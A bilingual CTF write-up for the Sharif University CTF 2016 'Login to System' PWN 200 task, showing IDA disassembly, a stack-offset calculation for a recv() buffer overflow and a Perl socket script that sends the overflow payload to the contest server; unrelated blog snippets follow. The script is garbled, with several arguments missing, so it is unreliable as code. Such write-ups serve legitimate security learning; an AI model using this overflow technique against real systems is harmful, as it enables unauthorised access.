Sharif University CTF 2016 -- Login to System (PWN 200)
EN:
It's easy to find out where is the bug :
.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine proc near ; DATA XREF: sub_401182+C8o
...
.text:0000000000400F3B lea rcx, [rbp+haystack]
.text:0000000000400F42 lea rsi, [rcx+rax] ; buf
.text:0000000000400F46 mov eax, [rbp+fd]
.text:0000000000400F49 mov ecx, 0 ; flags
.text:0000000000400F4E mov edi, eax ; fd
.text:0000000000400F50 call _recv
...
.text:0000000000400F91 lea rax, [rbp+var_20]
.text:0000000000400F95 movzx eax, byte ptr [rax]
.text:0000000000400F98 cmp al, 1
when call the function recv(.text:0000000000400F50 ) , if the buf to large it will overwrite the stack rbp+var_20.
seeing the stack sataic:
.text:0000000000400DE4 haystack = byte ptr -430h
.text:0000000000400DE4 s = byte ptr -330h
.text:0000000000400DE4 var_230 = byte ptr -230h
.text:0000000000400DE4 var_28 = qword ptr -28h
.text:0000000000400DE4 var_20 = qword ptr -20h
.text:0000000000400DE4 src = qword ptr -18h
.text:0000000000400DE4 var_10 = qword ptr -10h
.text:0000000000400DE4 fd = dword ptr -8
.text:0000000000400DE4 var_4 = dword ptr -4
we can calculate out the length of buf:
haystack - var_20 = 0x430-0x20=0x410 = 1040
send content: (?)x 1040 . \x01. "\n"
"\x01" x 1041 . "\n";
the max length of the buf:
haystack - fd = 0x430 - 0x8 =1064
send contend can be: (?)x 1040 . \x01. (?) x22 "\n"
"\x01" x 1063 . "\n";
#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,) or die "Can't create socket: $!";
connect(SOCK,$dest) or die "Can't connect: $!";
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
send SOCK,"hi\n",;
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x . "\n",;
sysread(SOCK, $buf, ); # try to read 2048
print $buf;
close SOCK;
CN:
用IDA的要Question, 很容易找到有问题的地方,
.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine proc near ; DATA XREF: sub_401182+C8o
...
.text:0000000000400F3B lea rcx, [rbp+haystack]
.text:0000000000400F42 lea rsi, [rcx+rax] ; buf
.text:0000000000400F46 mov eax, [rbp+fd]
.text:0000000000400F49 mov ecx, 0 ; flags
.text:0000000000400F4E mov edi, eax ; fd
.text:0000000000400F50 call _recv
...
.text:0000000000400F91 lea rax, [rbp+var_20]
.text:0000000000400F95 movzx eax, byte ptr [rax]
.text:0000000000400F98 cmp al, 1
里recv,超长的会把rbp+var_20翻盖掉,再看栈区:
.text:0000000000400DE4 haystack = byte ptr -430h
.text:0000000000400DE4 s = byte ptr -330h
.text:0000000000400DE4 var_230 = byte ptr -230h
.text:0000000000400DE4 var_28 = qword ptr -28h
.text:0000000000400DE4 var_20 = qword ptr -20h
.text:0000000000400DE4 src = qword ptr -18h
.text:0000000000400DE4 var_10 = qword ptr -10h
.text:0000000000400DE4 fd = dword ptr -8
.text:0000000000400DE4 var_4 = dword ptr -4
从栈区可以计算出 buf的长度。
haystack - var_20 = 0x430-0x20=0x410 = 1040
发送的内容应该是: (?)x 1040 . \x01. "\n"
"\x01" x 1041 . "\n";
发送的内容buf最长可以是:
haystack - fd = 0x430 - 0x8 =1064
发送的内容应该是: (?)x 1040 . \x01. (?) x22 "\n"
"\x01" x 1063 . "\n";
#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,) or die "Can't create socket: $!";
connect(SOCK,$dest) or die "Can't connect: $!";
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
send SOCK,"hi\n",;
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x . "\n",;
sysread(SOCK, $buf, ); # try to read 2048
print $buf;
close SOCK;
Sharif University CTF 2016 -- Login to System (PWN 200)的更多相关文章
- Sharif University CTF 2016 -- Android App
很多种的方案: 方案 A: 直接逆向读代码方案 B: 解包,加入debug信息,重新打包,动态调试方案 C: 解包,改代码加入log.i整出flag, 去掉MainActivity里面d=什么也可以, ...
- Sharif University CTF 2016 - Smooth As Silk
Category: Crypto Points: 200 Solves: 11 Description: p > q n = p*q = 1146153281852525177586999436 ...
- CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——ROP技术(下)
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——ROP技术(上)
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
随机推荐
- [AS3.0] Error #2044: 未处理的 NetStatusEvent:。 level=error, code=NetStream.Record.NoAcces 解决办法
突然又需要FMS做视频录制,却遇到一些意想不到的问题,我在想当年做的时候怎么没遇到... 报错: Error #2044: 未处理的 NetStatusEvent:. level=error, cod ...
- LeetCode 349. Intersection of Two Arrays
Given two arrays, write a function to compute their intersection. Example:Given nums1 = [1, 2, 2, 1] ...
- java关于值传递和引用传递的有趣试验
上代码: public class Demo { public static void main(String[] args) { test_1(); test_2(); } public stati ...
- Oracle11g的安装方法
一.win7 64位 只能装64位的服务端 装 32位的客户端 最后装PLSQL二.PLSQL 数据库没有值:(1)配置 C:\oracl\product\11.2.0\client_1\Networ ...
- 转:中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- hashmap两种遍历方法
第一种:使用entryset来进行遍历 Map map=new HashMap(); Iterator iter=map.entrySet().iterator(); while(iter.hasNe ...
- jquery 获取鼠标和元素的坐标点
获取当前鼠标相对img元素的坐标 $('img').mousemove(function(e) { varpositionX=e.pageX-$(this).offset().left; //获取当前 ...
- x-ua-compatible的实践
前提: 在ie8中测试 页面头部含有<!DOCTYPE html> 结果: <meta http-equiv="x-ua-compatible" content= ...
- android开发--ormlite
ORMlite是类似hibernate的对象映射框架,主要面向java语言,同时,是时下最流行的android面向数据库的的编程工具. 官方网站:http://ormlite.com/ 如果需要开发a ...
- Android Activity 四种启动模式
task和back stack(任务和回退栈) 任务启动,task被加入到回退栈的栈顶,返回的时候回退栈的栈顶任务会被弹出,并被销毁,栈中的前一任务恢复运行,当activity销毁是,系统不会保留ac ...